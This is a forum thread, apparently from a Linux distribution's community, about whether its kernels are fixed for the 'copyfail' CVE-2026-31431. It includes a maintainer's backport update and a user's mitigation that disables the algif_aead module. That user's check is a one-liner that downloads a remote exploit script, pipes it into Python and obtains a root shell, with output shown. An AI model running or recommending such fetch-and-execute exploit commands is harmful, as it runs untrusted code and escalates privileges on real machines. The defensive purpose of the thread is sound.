Cve-2026-31431 (copyfail) - Are OM kernels fixed?

I only just heard about this a few minutes ago, and was wondering if this has already been addressed.

Thanks.

1 Like

Cooker is fixed, and I’m currently backporting it to ROME and Rock.

10 Likes

Thankyou for the fast response and your work, it’s much appreciated. Kind regards.

1 Like

you are the best! this is exactly why i love running cooker on my steamdeck!

Patience, at the time of writing the backport is not available for OM Rocks.

You can still apply the patch described from the public announcement here :

Am I affected ?

[peter@quadra ~]$ curl https://copy.fail/exp | python3 && su
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   731    0   731    0     0    947      0 --:--:-- --:--:-- --:--:--   948
[root@quadra peter]# id
uid=0(root) gid=1006(peter) groups=1006(peter),7(lp),10(wheel),36(kvm),81(audio),82(video),100(users),101(input),105(render),989(lpadmin),990(pipewire),1003(network),1004(storage),1005(sambashare)

Yes

Mitigation

Add the patch as described :slight_smile:

[root@quadra peter]# echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
[root@quadra peter]# rmmod algif_aead

Activate the patch by :

[root@quadra peter]# dracut --regenerate-all --force
[root@quadra peter]# reboot

And you are good

Am I affected ?

[peter@quadra ~]$ curl https://copy.fail/exp | python3 && su
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   731    0   731    0     0   4352      0 --:--:-- --:--:-- --:--:--  4351
Traceback (most recent call last):
  File "<stdin>", line 9, in <module>
  File "<stdin>", line 5, in c
FileNotFoundError: [Errno 2] No such file or directory

No you are not anymore :wink:

I guess it’s more a concern if you allow remote connections on a server for example. Then you should probably be worried, yeah. For a typical user like us who is a single user on his machine in a typical semi-closed / semi-secured network, you are less at risk. With AI-assisted technologies, more will be probably discovered in the future Don’t worry… be happy :smiley: :musical_notes:

1 Like